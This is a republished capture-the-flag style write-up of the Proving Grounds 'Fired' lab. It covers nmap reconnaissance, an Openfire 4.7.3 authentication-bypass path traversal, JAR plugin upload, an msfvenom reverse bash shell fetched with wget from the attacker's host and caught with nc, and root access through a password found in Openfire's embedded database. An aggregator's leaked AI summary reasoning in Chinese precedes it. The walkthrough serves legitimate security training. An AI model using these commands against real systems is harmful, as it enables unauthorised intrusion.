Proving Grounds Fired Linux Lab ( ROAD TO OSCP )
嗯,用户让我帮忙总结一篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。首先,我得仔细阅读这篇文章,了解它的主要内容。 文章讲的是渗透测试的过程,从信息收集开始,使用nmap扫描目标的开放端口。目标是一个运行Linux的实验室环境,IP地址是192.168.238.96。扫描发现SSH、9090和9091端口开放。其中9090端口运行的是Openfire CMS 4.7.3版本。 接下来,作者利用Openfire的一个已知漏洞进行攻击。这个漏洞允许未经身份验证的用户通过路径遍历访问受限页面。作者成功获得了用户名和密码,然后上传了一个JAR文件到管理门户,获得了系统的控制权。 然后,作者通过上传一个反向shell脚本获得了目标服务器的访问权限,并最终通过提取Openfire的日志文件中的密码信息成功提升了权限,获取了root权限。 现在需要将这些内容浓缩到100字以内。我得抓住关键点:渗透测试、nmap扫描、Openfire漏洞、反向shell、权限提升。 可能的结构是:描述渗透测试过程,使用nmap发现端口和服务,利用Openfire漏洞获取访问权限,上传反向shell获得控制权,并最终提升权限到root。 检查字数是否在限制内,并确保没有使用禁止的开头语句。 </think> 文章描述了一次针对Linux实验室环境的渗透测试过程。通过nmap扫描发现开放端口及服务后,利用Openfire CMS的路径遍历漏洞获取访问权限,并上传反向shell实现控制权接管。最终提取日志文件中的密码信息完成权限提升至root。 2026-2-13 07:3:43 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Press enter or click to view image in full size

As always in every penetration testing engagements we start by reconnaissance and information gathering, in this step we try to get as much information about the target as possible.

We can achieve that by using various of tools and techniques to obtain foothold on the target, by using enumeration, scanning and other recon techniques.

In this lab we are tasked to pentest this Linux Lab : Fired on Offsec’s Proving grounds :

First step will be to check if the target is up and running, we could do so by sending ICMP requests to check if we can communicate with the target:

ping 192.168.238.96

Press enter or click to view image in full size

Next I’ll run an initial scan with nmap to scan for open ports and services:

nmap -T4 -F 192.168.238.96

I can see that there is port 22 running SSH open, lets run a full nmap scan to make sure we are not missing anything…

nmap -sC -sV -p- 192.168.238.96 -oA full -v

Other than SSH I found two open ports :

Port 9091 and Port 9090.

Port 9091 seems like an empty webpage, but 9090 is running a CMS called : openfire [ Version: 4.7.3 ] lets try to search about this version and see if we can exploit it.

Press enter or click to view image in full size

Press enter or click to view image in full size

After searching the CMS service and the version number I found the following vulnerability that affects the target:

The vulnerability lies within the web-based Admin Console, permitting a path traversal attack through the setup environment. This flaw allows unauthenticated users to access restricted pages intended only for administrative users within an already configured Openfire environment.

While Openfire had path traversal protections, it failed to defend against certain non-standard URL encoding for UTF-16 characters, not supported by the embedded webserver in use at that time. The subsequent upgrade of the embedded webserver introduced support for this non-standard encoding, which the existing path traversal protections did not cover.

Moreover, Openfire’s API allowed exclusion of certain URLs from web authentication using wildcard patterns, such as the login page. This combination of wildcard pattern matching and the path traversal vulnerability enabled malicious users to bypass authentication requirements for Admin Console pages.

This vulnerability impacts all Openfire versions released after April 2015, commencing from version 3.10.0. The issue has been patched in releases 4.7.5 and 4.6.8. Further enhancements are slated for the forthcoming version on the 4.8 branch (expected as version 4.8.0).

Press enter or click to view image in full size

The Exploit was able to generate for me a Username and password that I could use to login →

Press enter or click to view image in full size

Another exploit was found that can help us follow up on the next steps :

The second step is that we are supposed to upload a jar file into the management portal:

Get Cyb0rgBytes’s stories in your inbox

Join Medium for free to get updates from this writer.

After uploading the jar plugin file, I was able to login to the management tool from Server Settings → Management tool.

From there I can swap to System command from the upper right corner:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.45.240 LPORT=9001 -f raw > reverse.sh

Host my kali with a python command with port 8000

python -m http.server 8000

Next steps would be and since we can execute system commands on the target web server, I’ll transfer the file into the server with the following command;

wget http://192.168.45.240:8000/reverse.sh -O /tmp/reverse.sh

And then mark it executable :

chmod +x reverse.sh

After I do that I’ll run a listener on port 9001:

nc -lnvp 9001

And execute the revshell :

/bin/bash /tmp/reverse.sh

Press enter or click to view image in full size

After getting the user flag it’s time to escalate our priviliges and get root, I ran linpeas as usual for privilege escalation and found two writable files :

SELinux support: yes
Writable: /var/log/openfire/openfire.log
Writable: /var/lib/openfire/embedded-db/openfire.log

I’ll investigate them next.

In the /var/lib/openfire/embedded-db directory I examined the logs and the files and found interesting information:

I was able to run the following command on :
cat openfire.script | grep “password”

And got the following credential :

From the values we can see that it’s metnioning mail.smtp.password, however there was no SMTP service running so I tried the password to authenticate as root and it works !

And here we I can conclude the write-up successfully, if you like what you read, please support me by sharing this article with others, and clap as much as you can, its really appreciated and helps me as a writer to say motivated and continuously bringing you more content!

Thanks & Cheers!

Happy hacking!


文章来源: https://infosecwriteups.com/proving-grounds-fired-linux-lab-road-to-oscp-b116248d7b63?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh